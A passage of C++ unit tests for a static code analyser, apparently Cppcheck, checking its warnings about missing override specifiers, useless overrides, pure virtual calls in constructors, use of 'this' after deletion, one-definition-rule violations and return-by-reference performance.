errout_str());\n\n // #10559\n checkVirtualFunctionCall(\"struct S {\\n\"\n \" S(const int x) : m(std::bind(&S::f, this, x, 42)) {}\\n\"\n \" virtual int f(const int x, const int y) = 0;\\n\"\n \" std::function m;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pureVirtualFunctionCallOtherClass() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A(const A & a);\\n\"\n \"};\\n\"\n \"A::A(const A & a)\\n\"\n \"{a.pure();}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"class B\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{B b; b.pure();}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pureVirtualFunctionCallWithBody() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pureWithBody()=0;\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{pureWithBody();}\\n\"\n \"void A::pureWithBody()\\n\"\n \"{}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pureWithBody()=0;\\n\"\n \" void nonpure()\\n\"\n \" {pureWithBody();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure();}\\n\"\n \"void A::pureWithBody()\\n\"\n \"{}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void pureVirtualFunctionCallPrevented() {\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure(bool bCallPure)\\n\"\n \" { if (bCallPure) pure();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure(false);}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure(bool bCallPure)\\n\"\n \" { if (!bCallPure) ; else pure();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure(false);}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure(bool bCallPure)\\n\"\n \" {\\n\"\n \" switch (bCallPure) {\\n\"\n \" case true: pure(); break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure(false);}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define checkOverride(...) checkOverride_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOverride_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::style).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkOverride)();\n }\n\n void override1() {\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { virtual void f(); };\");\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:37]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { virtual void f() override; };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { virtual void f() final; };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base {\\n\"\n \"public:\\n\"\n \" virtual auto foo( ) const -> size_t { return 1; }\\n\"\n \" virtual auto bar( ) const -> size_t { return 1; }\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public :\\n\"\n \" auto foo( ) const -> size_t { return 0; }\\n\"\n \" auto bar( ) const -> size_t override { return 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:18] -> [test.cpp:8:10]: (style) The function 'foo' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"namespace Test {\\n\"\n \" class C {\\n\"\n \" public:\\n\"\n \" virtual ~C();\\n\"\n \" };\\n\"\n \"}\\n\"\n \"class C : Test::C {\\n\"\n \"public:\\n\"\n \" ~C();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:18] -> [test.cpp:9:6]: (style) The destructor '~C' overrides a destructor in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct Base {\\n\"\n \" virtual void foo();\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct Derived: public Base {\\n\"\n \" void foo() override;\\n\"\n \" void foo(int);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct B {\\n\" // #9092\n \" virtual int f(int i) const = 0;\\n\"\n \"};\\n\"\n \"namespace N {\\n\"\n \" struct D : B {\\n\"\n \" virtual int f(int i) const;\\n\"\n \" };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:6:21]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(double);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(int);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char, int);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char, double);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c = '\\\\0', double);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c = '\\\\0', int);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char c, std::vector);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c, std::vector);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char c, std::vector);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c, std::set);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char c, std::vector v);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c, std::vector w = {});\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", \"\", errout_str());\n\n checkOverride(\"struct T {};\\n\" // #10920\n \"struct B {\\n\"\n \" virtual T f() = 0;\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" friend T f();\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct S {};\\n\" // #11827\n \"struct SPtr {\\n\"\n \" virtual S* operator->() const { return p; }\\n\"\n \" S* p = nullptr;\\n\"\n \"};\\n\"\n \"struct T : public S {};\\n\"\n \"struct TPtr : public SPtr {\\n\"\n \" T* operator->() const { return (T*)p; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:8:8]: (style) The function 'operator->' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\",\n errout_str());\n\n checkOverride(\"class Base {\\n\" // #12131\n \" virtual int Calculate(int arg) = 0;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \" int Calculate(int arg = 0) {\\n\"\n \" return arg * 2;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:5:9]: (style) The function 'Calculate' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct S {\\n\" // #12439\n \" virtual ~S() = default;\\n\"\n \"};\\n\"\n \"struct D : S {\\n\"\n \" ~D() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14] -> [test.cpp:5:6]: (style) The destructor '~D' overrides a destructor in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\",\n errout_str());\n }\n\n void overrideCVRefQualifiers() {\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() const; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() volatile; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() &; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() &&; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n #define checkUselessOverride(...) checkUselessOverride_(__FILE__, __LINE__, __VA_ARGS__)\n void checkUselessOverride_(const char* file, int line, const char code[]) {\n const Settings settings = settingsBuilder().severity(Severity::style).build();\n\n SimpleTokenizer2 tokenizer(settings, *this, code, \"test.cpp\");\n\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkUselessOverride)();\n }\n\n void uselessOverride() {\n checkUselessOverride(\"struct B { virtual int f() { return 5; } };\\n\" // #11757\n \"struct D : B {\\n\"\n \" int f() override { return B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:24] -> [test.cpp:3:9]: (style) The function 'f' overrides a function in a base class but just delegates back to the base class. [uselessOverride]\\n\", errout_str());\n\n checkUselessOverride(\"struct B { virtual void f(); };\\n\"\n \"struct D : B {\\n\"\n \" void f() override { B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:25] -> [test.cpp:3:10]: (style) The function 'f' overrides a function in a base class but just delegates back to the base class. [uselessOverride]\\n\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f() = 0; };\\n\"\n \"int B::f() { return 5; }\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(int i); };\\n\"\n \"struct D : B {\\n\"\n \" int f(int i) override { return B::f(i); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:24] -> [test.cpp:3:9]: (style) The function 'f' overrides a function in a base class but just delegates back to the base class. [uselessOverride]\\n\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(int i); };\\n\"\n \"struct D : B {\\n\"\n \" int f(int i) override { return B::f(i + 1); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(int i, int j); };\\n\"\n \"struct D : B {\\n\"\n \" int f(int i, int j) override { return B::f(j, i); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(); };\\n\"\n \"struct I { virtual int f() = 0; };\\n\"\n \"struct D : B, I {\\n\"\n \" int f() override { return B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct S { virtual void f(); };\\n\"\n \"struct D : S {\\n\"\n \" void f() final { S::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct S {\\n\"\n \"protected:\\n\"\n \" virtual void f();\\n\"\n \"};\\n\"\n \"struct D : S {\\n\"\n \"public:\\n\"\n \" void f() override { S::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual void f(int, int, int) const; };\\n\" // #11799\n \"struct D : B {\\n\"\n \" int m = 42;\\n\"\n \" void f(int a, int b, int c) const override;\\n\"\n \"};\\n\"\n \"void D::f(int a, int b, int c) const {\\n\"\n \" B::f(a, b, m);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\" // #11803\n \" virtual void f();\\n\"\n \" virtual void f(int i);\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override { B::f(); }\\n\"\n \" void f(int i) override;\\n\"\n \" void g() { f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual void f(); };\\n\" // #11808\n \"struct D : B { void f() override {} };\\n\"\n \"struct D2 : D {\\n\"\n \" void f() override {\\n\"\n \" B::f();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\"\n \" virtual int f() { return 1; }\\n\"\n \" virtual int g() { return 7; }\\n\"\n \" virtual int h(int i, int j) { return i + j; }\\n\"\n \" virtual int j(int i, int j) { return i + j; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return 2; }\\n\"\n \" int g() override { return 7; }\\n\"\n \" int h(int j, int i) override { return i + j; }\\n\"\n \" int j(int i, int j) override { return i + j; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:17] -> [test.cpp:9:9]: (style) The function 'g' overrides a function in a base class but is identical to the overridden function [uselessOverride]\\n\"\n \"[test.cpp:5:17] -> [test.cpp:11:9]: (style) The function 'j' overrides a function in a base class but is identical to the overridden function [uselessOverride]\\n\",\n errout_str());\n\n checkUselessOverride(\"struct B : std::exception {\\n\"\n \" virtual void f() { throw *this; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override { throw *this; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"#define MACRO virtual void f() {}\\n\"\n \"struct B {\\n\"\n \" MACRO\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" MACRO\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\"\n \" B() = default;\\n\"\n \" explicit B(int i) : m(i) {}\\n\"\n \" int m{};\\n\"\n \" virtual int f() const { return m; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" explicit D(int i) : m(i) {}\\n\"\n \" int m{};\\n\"\n \" int f() const override { return m; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\"\n \" int g() const;\\n\"\n \" virtual int f() const { return g(); }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int g() const;\\n\"\n \" int f() const override { return g(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"#define MACRO 1\\n\"\n \"struct B { virtual int f() { return 1; } };\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return MACRO; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\" // #12706\n \" virtual void f() { g(); }\\n\"\n \" void g() { std::cout << \\\"Base\\\\n\\\"; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override { g(); }\\n\"\n \" virtual void g() { std::cout << \\\"Derived\\\\n\\\"; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\" // #12946\n \" virtual int f() { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return b.f(); }\\n\"\n \" B b;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkUnsafeClassRefMember(...) checkUnsafeClassRefMember_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkUnsafeClassRefMember_(const char* file, int line, const char (&code)[size]) {\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).build();\n settings.safeChecks.classes = true;\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkUnsafeClassRefMember)();\n }\n\n void unsafeClassRefMember() {\n checkUnsafeClassRefMember(\"class C { C(const std::string &s) : s(s) {} const std::string &s; };\");\n ASSERT_EQUALS(\"[test.cpp:1:37]: (warning) Unsafe class: The const reference member 'C::s' is initialized by a const reference constructor argument. You need to be careful about lifetime issues. [unsafeClassRefMember]\\n\", errout_str());\n }\n\n\n#define checkThisUseAfterFree(...) checkThisUseAfterFree_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkThisUseAfterFree_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n (checkClass.checkThisUseAfterFree)();\n }\n\n void thisUseAfterFree() {\n setMultiline();\n\n // Calling method..\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete mInstance; hello(); }\\n\"\n \"private:\\n\"\n \" static C *mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:38]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:13]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:3:38]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { mInstance.reset(); hello(); }\\n\"\n \"private:\\n\"\n \" static std::shared_ptr mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:39]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:29]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:3:39]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { reset(); hello(); }\\n\"\n \"private:\\n\"\n \" static std::shared_ptr mInstance;\\n\"\n \" void hello();\\n\"\n \" void reset() { mInstance.reset(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:29]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:29]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:7:18]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:3:29]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n // Use member..\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete self; x = 123; }\\n\"\n \"private:\\n\"\n \" static C *self;\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:33]: warning: Using member 'x' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:13]: note: Assuming 'self' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 'self', invalidating 'this'\\n\"\n \"[test.cpp:3:33]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete self; x[1] = 123; }\\n\"\n \"private:\\n\"\n \" static C *self;\\n\"\n \" std::map x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:33]: warning: Using member 'x' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:13]: note: Assuming 'self' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 'self', invalidating 'this'\\n\"\n \"[test.cpp:3:33]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n // Assign 'shared_from_this()' to non-static smart pointer\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void hold() { mInstance = shared_from_this(); }\\n\"\n \" void dostuff() { mInstance.reset(); hello(); }\\n\"\n \"private:\\n\"\n \" std::shared_ptr mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:39]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:6:22]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:4:20]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:4:39]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n // Avoid FP..\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete self; x = 123; }\\n\"\n \"private:\\n\"\n \" C *self;\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void hold() { mInstance = shared_from_this(); }\\n\"\n \" void dostuff() { if (x) { mInstance.reset(); return; } hello(); }\\n\"\n \"private:\\n\"\n \" std::shared_ptr mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisUseAfterFree(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(const QString& path) : mPath( path ) {}\\n\"\n \"\\n\"\n \" static void initialize(const QString& path) {\\n\" // <- avoid fp in static method\n \" if (instanceSingleton)\\n\"\n \" delete instanceSingleton;\\n\"\n \" instanceSingleton = new C(path);\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" static C* instanceSingleton;\\n\"\n \"};\\n\"\n \"\\n\"\n \"C* C::instanceSingleton;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Avoid false positive when pointer is deleted in lambda\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void foo();\\n\"\n \" void set() { p = this; }\\n\"\n \" void dostuff() {}\\n\"\n \" C* p;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::foo() {\\n\"\n \" auto done = [this] () { delete p; };\\n\"\n \" dostuff();\\n\"\n \" done();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\" // #13311\n \"public:\\n\"\n \" static void init();\\n\"\n \"private:\\n\"\n \" C();\\n\"\n \" static C* self;\\n\"\n \" bool use;\\n\"\n \"};\\n\"\n \"C::C() { use = true; }\\n\"\n \"void C::init() {\\n\"\n \" if (self)\\n\"\n \" delete self;\\n\"\n \" self = new C();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void ctu(const std::vector &code) {\n Check &check = getCheck();\n\n // getFileInfo\n std::list fileInfo;\n for (const std::string& c: code) {\n const std::string filename = std::to_string(fileInfo.size()) + \".cpp\";\n SimpleTokenizer tokenizer{settingsDefault, *this, filename};\n ASSERT(tokenizer.tokenize(c));\n fileInfo.push_back(check.getFileInfo(tokenizer, settingsDefault, \"\"));\n }\n\n // Check code..\n const CTU::FileInfo ctu;\n check.analyseWholeProgram(ctu, fileInfo, settingsDefault, *this); // TODO: check result\n\n while (!fileInfo.empty()) {\n delete fileInfo.back();\n fileInfo.pop_back();\n }\n }\n\n void ctuOneDefinitionRule() {\n ctu({\"class C { C() { std::cout << 0; } };\", \"class C { C() { std::cout << 1; } };\"});\n ASSERT_EQUALS(\"[1.cpp:1:1] -> [0.cpp:1:1]: (error) The one definition rule is violated, different classes/structs have the same name 'C' [ctuOneDefinitionRuleViolation]\\n\", errout_str());\n\n ctu({\"class C { C(); }; C::C() { std::cout << 0; }\", \"class C { C(); }; C::C() { std::cout << 1; }\"});\n ASSERT_EQUALS(\"[1.cpp:1:1] -> [0.cpp:1:1]: (error) The one definition rule is violated, different classes/structs have the same name 'C' [ctuOneDefinitionRuleViolation]\\n\", errout_str());\n\n ctu({\"class C { C() {} };\\n\", \"class C { C() {} };\\n\"});\n ASSERT_EQUALS(\"\", errout_str());\n\n ctu({\"class C { C(); }; C::C(){}\", \"class C { C(); }; C::C(){}\"});\n ASSERT_EQUALS(\"\", errout_str());\n\n ctu({\"class A::C { C() { std::cout << 0; } };\", \"class B::C { C() { std::cout << 1; } };\"});\n ASSERT_EQUALS(\"\", errout_str());\n\n // 11435 - template specialisations\n const std::string header = \"template struct Test {};\\n\";\n ctu({header + \"template struct Test {};\\n\",\n header + \"template struct Test {};\\n\"});\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define getFileInfo(...) getFileInfo_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void getFileInfo_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n const Check& c = getCheck();\n Check::FileInfo * fileInfo = (c.getFileInfo)(tokenizer, settings1, \"\");\n\n delete fileInfo;\n }\n\n void testGetFileInfo() {\n getFileInfo(\"void foo() { union { struct { }; }; }\"); // don't crash\n getFileInfo(\"struct sometype { sometype(); }; sometype::sometype() = delete;\"); // don't crash\n }\n\n#define checkReturnByReference(...) checkReturnByReference_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkReturnByReference_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::performance).library(\"std.cfg\").build();\n\n SimpleTokenizer2 tokenizer(settings, *this, code, \"test.cpp\");\n\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkReturnByReference)();\n }\n\n void returnByReference() {\n checkReturnByReference(\"struct T { int a[10]; };\\n\" // #12546\n \"struct S {\\n\"\n \" T t;\\n\"\n \" int i;\\n\"\n \" std::string s;\\n\"\n \" T getT() const { return t; }\\n\"\n \" int getI() const { return i; }\\n\"\n \" std::string getS() const { return s; }\\n\"\n \" unknown_t f() { return; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: (performance) Function 'getT()' should return member 't' by const reference. [returnByReference]\\n\"\n \"[test.cpp:8:17]: (performance) Function 'getS()' should return member 's' by const reference. [returnByReference]\\n\",\n errout_str());\n\n checkReturnByReference(\"struct B {\\n\" // #12608\n \" virtual std::string f() { return \\\"abc\\\"; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" std::string f() override { return s; }\\n\"\n \" std::string s;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S {\\n\"\n \" std::string f(std::string s) { return s; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S { S(); };\\n\" // #12620\n \"S::S() = delete;\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n checkReturnByReference(\"struct S {\\n\" // #12626\n \" std::string s;\\n\"\n \" operator std::string_view() const { return s; }\\n\"\n \" std::string_view get() const { return s; }\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct U {\\n\"\n \" T t;\\n\"\n \" operator const T& () const { return t; }\\n\"\n \"};\\n\"\n \"U u;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S {\\n\" // #13011\n \" std::string s;\\n\"\n \" const std::string& foo() const & { return s; }\\n\"\n \" std::string foo() && { return s; }\\n\" // <- used for temporary objects\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S1 {\\n\" // #13056\n \" std::string str;\\n\"\n \" struct T { std::string strT; } mT;\\n\"\n \"};\\n\"\n \"struct S2 {\\n\"\n \" std::string get1() const {\\n\"\n \" return mS1->str;\\n\"\n \" }\\n\"\n \" std::string get2() const 